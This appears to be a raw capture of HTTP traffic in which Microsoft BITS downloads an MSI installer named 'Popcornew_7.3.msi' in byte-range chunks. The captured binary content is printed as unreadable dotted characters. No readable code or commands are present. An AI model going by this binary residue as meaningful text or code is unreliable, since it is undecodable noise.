Content-Type: application/octet-stream

Content-Length: 47130

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:14 GMT

Cache-Control: no-cache

Content-Range: bytes 59380-106509/5894144

\k.....Z ...v..u... ,.-....y.~......cmr-?7.O....4..\.....?..........5.-.....MM..Z.... >.DD._ ?....,PCv.}...P.z.C....O...^.G.^......y...\.:^.RH.u...h...V.9.).K...^.........m1.G]e..v3E.....=..A~.(%....Z..I-c.K0.................5...)B...$....Q....rX...[.Y$.@*M.Q...........P.eu..h..g5...t.a&=4........g...5.Z.....Y...U^.-.e.l'f.....q...^..7.).........L..V.......@O.....F..K3\......{...^.].^....0.....H.qX.$..l.(Az.*4OJ.a.&..P...>..8P....yuy.!...)8ghd............7..G.K.5(.u.f........;.....L..)Q.l.^.N.X.....yt ?...tfo_F.3..H.QFZ...>.pAD..m..fE..g....D/.......d1..IH&/..&..wt...ar`.b.5.qm...Y9.,...|.b.-..l...b\."&..>k..R.......k..24X........k...wP!x.E]....v....uPq./.YX.e?.R.....}.........j.L.h........n}..3....C..~.&m..#&MSA.........?..........;...kX7......8..,:....r).as.. ..C....E..g?.3....wW._/[.)@..|3...m.t.........%..b.=..[K......F.e...u.`$R....q..e..t..oZ.......ei.Yn...Qz...w.....0..g.......{.............O..6..N.uW.VKh..|G..&...k.Y'...[r.?..;.....i........[/..._.....p.."b....2..VVE..tz`...._.E..Ip..[...]....a.....-WRB.......m....\ '...S...^l._5........z..z=...#.......c.H..c&.....Q...{....j...'........-.Y.\..q.FX.... ..k`......|...HH.8.X%..-.=.].yEuq,z.".P..).z..2.....A..@...<..!...x..m..'..!.m....Z.E9.......^..^.Y ...BE...1.=...X.$.k...Vi...t:..`..~Y.9..-...ik.]...ZcW.......H...=..g...,.{.uTS....y>.G.W.._......A;..>....Y.6J......3Y..........6.=..W ....w..`.t..].T.....s.O7...1!..b.c.6.7.k...A..G2....z.xod....KH.....7..j...v...>Y16.~.`BA.@A....t..`...,..... ........?]..z..W....zMy.a...K.b.{o.9..Q

<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=106510-201796

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:15 GMT

Content-Type: application/octet-stream

Content-Length: 95287

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:15 GMT

Cache-Control: no-cache

Content-Range: bytes 106510-201796/5894144

..W.I."3h....}..Loh_..].8s..P..n...|..=./.G....h8.XE.!..w7v.3.J.{.......Tj...F....e...P......g.f...}...F.T.F.....k.......t...../..........s...g..X/9l...........z........7.#>.....p.Im....'.m......7-l4...". ^.]..w.-.7...F<...G.TIy....A......[.6...#..@.......S*..............<.......u..[.l.;...y.o ........8zZT.X.....3..K.[......5._.^bA....FaFo-./.H|S................# ....s...&&.HH8..../SM.%.....E!.wc\.z....m...r.Sfy.S.o..X.n.L.(..@V...m.'~../iBkI..e.H.....r...Y..;m. ..b...:...4l....Y.6e..&I....U{.....7.6...%&..w.D3:m.=.6K.9....7..LS.N6..7.."..x,bAb.[6.8<.s.:xf....O6..z..E.k../.7...b...o".#.....5.......!K....O.=8....`.M..6..vt4O.q{59..o."Y%...C....I......^.w..... J....yx.X.O....|O..........#..a1..[...Io..O........:...a.1.C...8.......{...R_.........O.......s.L. .j..n-.rA..... ...:..............*.Q.r..DK.o*...dS....k1........i..*6{I......qj.Zi;.\I..M...q....4.J...P.CK..?s.VX...^(i..F ....)...j.J...a.YZ.Y..yc.w..?t..........K.....|..O..l.......b(2...-.....u.=........h...c..t.......'..........v3..^G.s......5T].......3.p.....8e..p.....l$<......._...-..~.y.|.......W...d.6a8.o....@$J...:...j ...q...'...<.Xo.zRY=.h=.Q.......bL...>.".,.6c:s.3....5.....6Bs.. .........D..9N.2*.#....rgZ....6...z9.p.......!.r*!.....K....2._.....q..8.........7....T.n.~b..K'gpj......).\.....se..;..f....6(.....<......bmB...P...h.F...qV2......O.&f...../..N...&U>~...........#y.4....Z. 4.........=....6'..[O..t.D..#.....8.q..`..#SW...1..?.\....?Fo.Ty....|.........0.Z. ...t..H'.......S..x. ..!..S.k[a......L.4V.9..A...".x .....

<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=201797-391501

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:16 GMT

Content-Type: application/octet-stream

Content-Length: 189705

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:16 GMT

Cache-Control: no-cache

Content-Range: bytes 201797-391501/5894144

.e.^...o..F.i.\.;r...A)v3...-..R.....K....V,.A...K.X....X...Tj.......y.Qs.Q.2.f.Q.uF. ....T.8gh7Y..i.cy.K.p....F.....!..J...j...{pGR......B..=.E/...Z........Tw..t.,w....l%..t.........9H......*..^...........,...Z...l*).$.. ..R.}.kg..v@.z.}.....j.z.*{.n...............,..a....A...j..A.z.*T...."..R.<r;...k..v.M]D.3m...r;.......q.......G....K.....|..uS13P......=,.H[&j...P..xh..Q..F......6Un......86Lf|..Qy_.Qi...C.\..>D*......T.R...v.t...`*Kk..0.6..Q2....I....7.,._. .I..p.#....}..Jw.i.i.:..Nzm0~U...V..N..$o...>!5.S.=...DIb.5.-...lG.;.;......dG..v....hG.........X..e....fG..gG..oGP...c...$#.-a.-..Sa...~R..........:.s@3w.QG.><..!..Pv.u......p..Z..U..8...r}....N0.....T.....o...d....@..."G......4..],...d...."se......m..q..#R..]....?3.P.wS........k.#.....Yg:....%..;.......~S..5:........Nm!Y....cH....d...~..2...N..jz.A....,..;(.8r.>.......;...7K.8..{....>x2.`......}.8.1.YF....z...]....;..*Ck..9...y......Z.;.........o..5..[1....F....A.m....._Dl....n.....gqeM...b..g..V.Q.r..X0z...%{L...O.&"5U..0...,o.*.?...{> ..CK.].t.......&..........6..(.7.l....../Y<...S..V.].. ..../.....Y.}..VO.i.....lb.~.....|V.*LLj........~gf.dB.O.......;3.......{....*...... 1.N.9.o..m.j......f.We=7i.....f..N...#.."..W.R.....s}..x.7......q........Y.n;.....RI>9.....o.......;.%S>]....Z..S3.;.g.$...$..g6...p...n.....t....i..8\J.[...P..K.`g..E.....&...H.......W...7...9C...?...*.....8.....S..H.*.R;%r,..^..w....e....#..J.a.....y.....U....-.....0!.Z`@H..F..5E........u.......[..u.n."..r.a ....6.......m...8.~.m..3....B..y.^.W....u

<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=391502-688884

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:17 GMT

Content-Type: application/octet-stream

Content-Length: 297383

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:17 GMT

Cache-Control: no-cache

Content-Range: bytes 391502-688884/5894144

..H.$.."l2P..;......e$l.H7..d...a.@......\...!l.H.....u..%@."l.Pwp..*.. D..@...#.V...v5.r..*..e"]9P .[%.j..~.._....'.u".SU.>.C.=......j:.?...4..t{.....a{.J'..........A.......".(P........@...*.......M.... ...]\...L.N..K.oX....%....p7.?..l4.V......].%.UG.D......M.M..&..A.)"l.P.....L..@..;S.KG..."l.P.....,..@m&.[.[..A."....6...........nUud.]-..@..[......F.. ....$...a.......T:.?.b..C.{F..S...j.aw.u/.?..M..H.....= .^.*..A........Y.;.m.._.v....m..~..@EQ..D.s@...U.v....vb.\.... .......Mb..j.a.@er..$._...(w...",..f.&.5....N...!.2..E...Z.;..,....!..A....E.B.T......O`.D.e@..H._......z.rr...."....h. ....>B./P.\...V.....=Z.....J"....r...."...V.C._....T......O`..t.b:.c."..r...@...'.-".).m.ag.ZM.6..s..XU.;/.."...g...j..?.5...."X.....LX;P......W.K..d.6..0a.....'.."....)......._..q.....n...E.....-.......B.[)......r...\...l.HW..U".......*......tO......P......\..v.H... .W."l/R.....<..@Y..W.;.T....E.Q...........*......m"....aU.....l.H..u&lX...UDXCM...._M.k.{.6.Z.k.a.@..6..B....,.M..N....6....M.....P[..W.K....6.......A..X..Wn.n.P..-.a..:J..@}....K..G.[%..E...6.........._...yE.Q ....&l.P....^.....r.. .v.e}.._.....l.H..)>...W.J&l...\...YO7..._...}....}...o...x..j..4'T8...x..7z....6.yqx. C...''........Wl5A.......q.`..Q4........m.yy.{.T.%.....<W.V.p../'}Z|p...O...W..O.....!~....#..:B.....9.><B.....F...!....{F......Z....]n..F4<.f*T..x.gT..........X.P.)Pi:....*.Rl.~}.w.Z.ML.uL /..Z..f...F..C..;..F Ws4W...l^s{..&..jC.|....J~.;......hP*|.a......./h.5....?r.*bR....?.}(/P...?|.2.2...].. ..CD(.%..i.(5..k'la.]).v.Ie..s

<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=688885-1098868

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:18 GMT

Content-Type: application/octet-stream

Content-Length: 409984

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:18 GMT

Cache-Control: no-cache

Content-Range: bytes 688885-1098868/5894144

...>n.fy.".e...K4q}V..pi..D.%...7.~'...wR.............j.. X..Y..gX.f.....D...Mb.<.s.].5.....H.....7...&*PI..g).':...64...|.'.;.Q.D~.. /zl..a...v..O.)G..m.b[V....sU.n.YJE3.cM...Qd....7.f..C..[k.E@....{{..y...~:..~.^......Wvz..#=#.w..q.2tza.E....&..},....!e.6.8.m.:..c>..8".|.f...........`9R....7.....*-..*.PF.g2.....;.......B..(N.....F.4..V.e6..:.....$`/:.6...V......M....'u.Q. ...1......"(^.7.9..agU...>\....$7...K......O.....9U.N.....!..c.y.v1.B...Ph..S...c......6..$<.-R.p..o6..i.4..V9.>..n>`..4$b....q.G..j.......Wk4 .......}..j.z.{."e-]r..<..i.D.......U.3...'..cv...c.....Vx.i...N...Ng.x....t......F...6.r1.I&..6.d[N...d<.W!.......-'{......^4S.l2S...X.h .hd..S..E....8..N.h.s.n...2......~v...38l.8........i.8L.Jm.\.&.3.5..k"G.C.~.|;............./...6..~&.....HY..e.ml.p~.."...t......z.\]k...'..NC...9...of43...7B._.)M.Q....V!.<&.8.....}[(.!.v.'...i n..!..w....>.JN..E.....m(`..X.....\..[.)y............,EZ...q. ....Hvd..".......k.[.3..\O.....-..k.iB.j`.[.5<.3.12..D.*.0.T.Z.HI...7........S..........NH...K.. .g;.u......v.aq.1.Cw.BA~.C4.a..\w.....C....h\.O.{0.......n..b../g..X.E!....L.....D.....mqc.....`Mw....-|..S..O.SB.x.Q..9.._..s..R....r...#`.t.......B.t.e]..#.Ou[".SF|..}.p..[.........9.V...9.u0.q./...n.r...Zj.......2...Pf.7.X...e....iU|b-[...>..!v....*s......2.Q..|.nhj...xe..<.dX.O.#.. k.....{.4.v...t.....i.7I?....1E....gn..=....o...q.<U[.3....).H..6E...$....w80.G.,a......T.......R..^.|V7..I.....n4'.. I.7|aU..{......:.:\.c.(.....?.N.z..C....Q^dE.6.c..."V.c....'...._...j.....

<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=1098869-1625894

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:19 GMT

Content-Type: application/octet-stream

Content-Length: 527026

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:19 GMT

Cache-Control: no-cache

Content-Range: bytes 1098869-1625894/5894144

{........%.1.s..B.6.b.B..."...E.......o.W..QY<...%....Q..c.(..3.^..f.i..A...,.Y^.....e.n^.k.0.z..Ry.....B. .}....7m7..m......Q.NX..ud~m..vK..G.....n2n&.M..7.N..V.1.=z7i...g...E..F..|L.l...!.V`{..n8 w.v..%..:P ........n>...5..-..2-y..V........y.C..G........Z..i.Q.2.4!..y.1...Z.M&..'...F .]...L ....1~.2.. =S...........,3(c....d.8..(.......OC3I|"........_...EU.{..9i.M.)M.0...7M.B....<.s..Py<>O........4$E#5.$.)._.."..N.D.6.......<.84....@.4cx.o.........{~.w}.....}.d...|..e...#...N}.TW......*...lR.9..#........?o\......Z..g.D.'....,>9$|..C.E..H0...y>A...)./....>...%.K........P..o%.E........g......9..{^......v.o..7...o...!.#.......[..87]....|..3...O..=4.a.`G...V2.....]...GI ..%.L../.......^..9q.q......>..O&..l.<...........k..=.p./.....f_{..'.%A.Pl..8.To}..k&.].0F#?..sx.............y<..X..5?.\.....xry.,....M.>..l.....=.*..^s......N.{.lo....C.....\..fX..u........<O.g....<.9.|.y.....|......{..k......\.<....r........E..}E...v?..s.H.....?\.\.?x?..._....K.S...pz.V.i..!......M..(.....ia.............~..Y.....k..?..X. =.x.....Rh..4...,o....#L............u<...<.E..............k.@V..\....<...#.."..b..(a'Jh.._7..........w7.T..(e.F..g7..9..h....S.F.z@.8#._....%..f..".*.}............(....7.2..eT.5......n.......N...._D..4."..3......a.mW.7.H..<sBF..5Mz.-......a1>h.[.]..@/.QE.......>).C...L.g.....sh<..9t^...................Tb.V.b7.u..0._#{.............;...u.......#Y..<.F .........W....`.8..G];...=..'.Uv.7.........5...F.G....x......~..%CT.&.7.e>.".f..!a........_

<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=1625895-2304710

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:21 GMT

Content-Type: application/octet-stream

Content-Length: 678816

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:21 GMT

Cache-Control: no-cache

Content-Range: bytes 1625895-2304710/5894144

..w.p...B.!..q.&.`{..w.e..5.:.}.B.|.gG&-..q..,%W...C.!l.iChW.\._`......E...^V.3=..g........h.......C.@.7...C.\.....@X..].n..[.....*......V...!K.[...G}....~<~...?..=~..e..7\|A.."~...Y......Qne.%...BF.@R./..C..Q...m.../a#..O...lD).V....-.."~......]~....x.h..^D...\y..z.z4.R.}..Q..g6...qr...8>.t..44P!..P.HG.i.XVn-.M0v.=u.bZE,8.A.J.......D%[. ...q...E..$.!........%W.....#....J......2(...8<..].....y...|.,...]u.:C..P..}..S..,.y.......5..j.......gc,...6.....GYi..ONP!x...C...?.{......0$.....!....L...a..Q...d..<0'.S.K.Yq..M.I8m...._..;.V...K.[....?L..F...d...?....ED0.JS...gL%...c.i!<......j..f.Y.r.3......n.............:.&...W..D.3j.C......./.f.A.|.*/.......Vn.5g.0[A".SC.h.9..U{ph...!.T0.....!.ekf...>}4..\C...I./.X...IW...O..$V.w...K.:.K..f.T..`.T>.y.]{W..P..4^....zQ.RS. .{......i.k.....J(.y..lf.{].6.2.BW./....MyJ.....&.Jv..t......N;V..@j..*...*..w...M=}.O.....&.)j.Ms.ru!za....LU[X/..3. ...M..kj......:a..*.j@0.~.j.5...............0........B...Q...H!!...[~.N..g@6......:xUm.7......Ozj.........a...o<...&{..6..G....$5Q-.....C9a.".9=gBV.3_F....J]....=.%0.B.i.].#...X...<,..U.z..R..].k.5..eir....../.TQ.... .QtP"...o .f52]CS.*m..56.E..k.[u.....e...S~s. ..ZvS...[.]..NobiKA';U\`._.|.d.K]]k..Y..f......Pq> ..N....ATY.t.M.p.R....Z..Z.j..f..i0............v.V....n...R.>...D.}. ..X..0..N.?......q.l=...g.Ac..3..P.Hv5rY6.yl...1#..mS..@\9%m..zU..M.z._...3.........n...l.....|m.x.4v}.l.1..^...9. .}.....-....?.=..9.X...D..}..6.N(t/f...0....{..=.......8.F].X....k.........^...i.rD;........a.%.v.....C...)...7..F=.

<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=2304711-3093287

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:22 GMT

Content-Type: application/octet-stream

Content-Length: 788577

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:22 GMT

Cache-Control: no-cache

Content-Range: bytes 2304711-3093287/5894144

.............G`..............f.F.....\.d....W.5....Sz.MK..].@..........>...?.Y>....Gd...3..Q..p......q.}.._....{/...$..1I..;..[...._<...m...2....;..=...{..j.... Q.8...;,h:............*.tr.R....z/).{.....c....v....)....F~U.(....".@.mP...L.oam=.A....N.....*.].....b.Nf..5`........I..G.......x.......,LL.NX.A\.!.h.H....(..7c.fOq..]......{...t....... ....#...s..M&w...G.*..?E.k1.IT..WL{.D..m)u).......KV..q....#/j.yB.&...5.....C*........H......8.C.".r#_.RNp..#9.>Ul...lj;.h..Ei$J4.......8.....a..h.i..%....C.6.d...Q... MW..,!(.B|....cyp...3.J...p2E%....-...i.H...........4..\.q.=..}h*..(.......~...u..y2WM....=....3..#...|...y...y.(....[....4..........0.A.Vpe1p.-..}3.b...}..].hm...=.8.;...3...lV.&\F^..A"..i..^.k.C5M8.....:".B.......!..[.R.........D...O.M....-..].....r..^..0.Q...Cg....k.r.p.d#...J X..o.?l...,.Y.....f2...C#......^.?.u5..pr...]V..p3#..".VKo....Q _...N..3;.. ..u..Hk}.DT.4<R.OX.Y_.{yU.....W..GV....V3.".rN...~G...@).Bc...^...f...8=:..$.....2C*1..,.?.1ma.A..2....fm...^.;...4l..56 ..!b....n.I...Rxl..>b.....7...`2`......3."..0..28..AV.2.^.78...k.....Il`_#..._..:.22.G....@H9.]....f0.K...E.:..@k.@.g..9..O|..y...`..r...j..8..........>. ..S.........I........B_E..|{....N.k. s.. ..s`..;-.&.pXX^.............2...<d...`...ZIS..#.($.....h(.2X...F/9...m.....r../rf.A.....W..._0.....22h?.....(..Y.7...@_.P..T...O...dN...KEc..w.nI^...@.....X'oO.}.\....\.a.V.X.. .....;.. ...Q.....8*.......w.B{..#.V..;.eh}Q.....6D..9./*....8..9....!2.^........]..:......W.>^H"p.=]...l...P...wj.?....f@.!&e@..?..'l.F!.......

<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=3093288-3926538

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:23 GMT

Content-Type: application/octet-stream

Content-Length: 833251

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:23 GMT

Cache-Control: no-cache

Content-Range: bytes 3093288-3926538/5894144

{...(?;.6m.6.<&[n.=....4^!....n....F%2 .OGTS.v2.......Z...9>....{9.>..Y...$......`.k;G...l...dc..u.......0%o'v...{.*.....R.....\.< G.C~.%....f7ZN... >A..{...Z$.b6.^....Z%.._.:^n..U<..h.....l........8.....v.c.U...:i./.o.w5...^Ah....)...I.;=X.............G....'d.d..N7..q&oWN.c.......e:p4.Y...t..!...zE.V.h......$%....5..#... ..y.......s/,B........W.B.7...txV.m...fL.x.d..a..L.[M.f']D.;'g.....$..dd[t..h...b>r..T."..b.aWk.......a".K'7(*i.\@'....n.........=C5.CB..r.sbaTc."s.Ot.`.......?.*8..^...l2.../--.`......].n..5^..<I....x_.. ..T../..A[...}.4.g..L|h..x..6.......m.5....T.H..\.....f....k.."....&1..a.d.....j.k.....H ...........J{....{..l.v.%..FV....L6.).......H..&U...P...K..........C.w.u]....}....... _,...8....I..bc..jT.]..i.../.....<.)c..hQ.7t .C31....k..9.fo..LD...e ..h..7.Wa^.....L...;...Gh..../.hkO~..g...W..Q.;H.#,$.......G..A..;.hU...S....r.W........79.g...w.G...G9....>....<.MR.&.s.`.h...j......&....B.{...[.T..u2.....S^..1.s.....^..q..Q...S.7&....WX.Q....V"U6e. .qkQ\..;cg..?Q../.H\=..<dS.{."........E..'...uHh.WW...N.I.......z.;o..jR.T..@.:l......J.N..(;@.....LC.n.7....3.....%....C........<g..lD...w.=..6.&L..W.-.%.K...`..G..{dX.X. ..^`...`..o."..|.K.....$..>..h.yq../.W..;Ad.:?j.tM._".$....&.e~&..s....gz.Q.n.....x,.rJA.\T.q..e`.Y|4.....hI..B.....E....`...i...c....D.7pm0.,.$.x...9 J.\..1.0u..l.>.y...ZJ.o.q0.....9E~..\Lm....B.....T.n.ne.........X.y.T0...Sh.......9v..r............J..{.\ .......J.q.z..t.C4.:|.... Z....M....d..?`7..j..M<...."..^(......A.V.-:|?;L/.....W.c

<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=3926539-4806327

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:24 GMT

Content-Type: application/octet-stream

Content-Length: 879789

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:24 GMT

Cache-Control: no-cache

Content-Range: bytes 3926539-4806327/5894144

s......$.q......}...Y.......I....,..M.,.b.3Y0.`.eB..4.~..o.<.... %9...1M...0.).t.G..........W.F..T.'C.d$Jf.....o.@.V._.A.l";&.'...9.z.....xtby... ._."...k....b6...-........-B......O..r.A.....b...1.AI....Ld.<I...'.'0..c.....q..J&0..i...5.q d|..7.......>x........d....v..r.?...a..2.?...-...s..m......92'.@.....5.c,.9~^.Gn...I.....?g...7X.} .-C...........8.......j[..R{.khr..P[.^{...G.&.J..t.cH.%x.V...7.`*.GM.1.?.....6.V.c.[.......GJH...;A.6..............'j...b.....n..7Z@.z..9..]..r_.R.J[..b...u..../#9.:..ZD..@...-.u..:S...mn.......0.No......r..i. .X...Hh.........Cs..!.G.........!.c.u.=.:......q.d_.......g.|El1v....7-.c...i.v.4{..I...hS......t..7...N.....Du9...$=.l......}..N..m.H{.;P7....K.8..l...J.{.z...ILI..AsN.W3....r]..h6.d......I..&<...'...A.*.S:...}[...U~..A....=...;c........;.E..CK.}{|T.......$g....%B.h@.A%.4A&Ad..I...........O.....^...[.hk....k.-.3...RL.... ..a(....c...:g.A..~.....;...s..k........:{.-.".X....q2.9E.d .e..........@ .....6Y.5nW...$.Wlh...oS[..%..4.5..!1.\....*..$....Kv.A...:c.a...k...r....Fl.........i..)....tq~e.....K*....(....}..k...p...,...jt..s..... !|..?[.w`..W.Uh"...F.U"m..U.....L.Ry.&{ #.$)......D._...v.r..<.t..:#.3.......|................Z.Z.=.A_.,\...Z.....]p...Y".FW".qx.1..m....o.X......W..#.;..N.... .`..6.`.|\QY=..Pj...U..^...E\q....=..6:...Re....1...|....dd.....#.wt....2../.....Wj.....X........5.z.G....{...dI.9&.}m..=..Y%<k..C..i.e......8.. },5....7....Z....l<.}q.~....A)..D..E..,..-...)).....]dC/U6QB...z*...S..RS.}..u...f.<u...1.'.,.f.....n$8m,.....|..s.X...

<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=4806328-5709610

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:25 GMT

Content-Type: application/octet-stream

Content-Length: 903283

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:25 GMT

Cache-Control: no-cache

Content-Range: bytes 4806328-5709610/5894144

.....I)).[%.j\4..u&....IP..l..C.c-.GS.....$.....J...iVS'V..A0.......f%.y.!....x7.....@/..a...y.OPe..zH.K/.K.yzCHd....|......9..!.S=..E..P.[...K.>....Asa...pk..jx..1.v.]R.g<-%e.(.....n{BJ6-.frJ....E..."..."m *...&.........G..EQ]...K.O..[".o...}T.<w.....C......_.e......s..m.......l...O..^...!|.[-.F\..M.S8........=,.>.qb....2... ..?".j.;..5.^.Io.{.....A.e...r.x.{Z..s.#Rw.) ..`v.h..ps.0t.4T....5n.B.......L.w...........I1q.........w<I.8.........@I.....9~f....z.LY.:5.D({.`....'.:U..].;}...[..wQ...lC-.2...'...o=$.0n.....G.UR....S...i.:.t...>.q..f....pf.....`@.....7J...m...^T..#2.q..."n..d....O..@..y.96.8...9.Y......;...=t.A?..W....c.....B..>.h.UK.<E'../1?6...'..`....%K....L...(.*..-......E..!._.w0.../...J.......M....7.`...n....[..'..O.......\u|...qk.\@.av...Y.;e.....c.......`.S.2..h...'.... 3.:.m.......!.... .........5Z=B.t.h..L1..I.g5......k...m..|....'K......%...Q..f....f...[..|..rF.u.M./Ue.....%.^..&&_..tN|.X...4...&.....u.)...$...2y..`.8S...5...f.:..6.Fb....s.7~u[.H7....y. Z...f..fl7P.._..)?..b{..=.A.....L...&T.6.$.?.r3..K...G....T.K.3..A.Ia5{7.....o....Ym.?...N"TI...}...k...4.Q>.:....6.s.&.._]^.\2....A.6...?.2.`r.7...|..........)'G.e.jY-1.....?..9....cwt~.o(.V_...R. ....V.C....I.(...rt........`.....S.f.%.s...6...........).....Y..k...m.....ar..O...>..f.GX......E.|..3...6.H..x3. ......Z.....2.......!.5..$.....d...s.-....5..>).....@..?#..6...a....O.,......N...u.!f.yC ......R.B.Y..3..].te....|.1_...E..O.y..t<.<.5OB`.2..}....wm.4(L.jx.{K.".. \.&..o..W.7........$...eL.U!..L....&gt

<<< skipped >>>

GET /omaha/dl/applications/{82BE43A3-77AF-4978-B081-893EF286DC00}/17/Popcornew_7.3.msi HTTP/1.1

Accept: */*

Accept-Encoding: identity

Range: bytes=5709611-5894143

X-Last-HR: 0x0

X-Last-HTTP-Status-Code: 0

X-Retry-Count: 0

User-Agent: Microsoft BITS/6.7

Host: VVV.dlmanager.net

Connection: Keep-Alive

HTTP/1.1 206 Partial Content

Server: Apache

Date: Fri, 19 Jun 2015 17:50:26 GMT

Content-Type: application/octet-stream

Content-Length: 184533

Last-Modified: Thu, 19 Feb 2015 10:30:46 GMT

Connection: keep-alive

Expires: Thu, 18 Jun 2015 17:50:26 GMT

Cache-Control: no-cache

Content-Range: bytes 5709611-5894143/5894144

...................................................H...=...=...=...=...=...=...=...=...=...C...h...............................................[...?...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...p...........................................9k..8j..8j..8j..8j..8j..8j..8j..8j..8j..8j..8j..8j..8j..8j..8j..8j..:S..>4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>4..>4..=4..<3.%................................................................................................................................................................................................................................................................................<..o=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...M...................................................................................i...?...=...=...=...=...=...=...=...=...]...................................................B...=...=...=...=...=...=...=...=...=...=...>...I...X...]...d...f...b...\...T...E...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=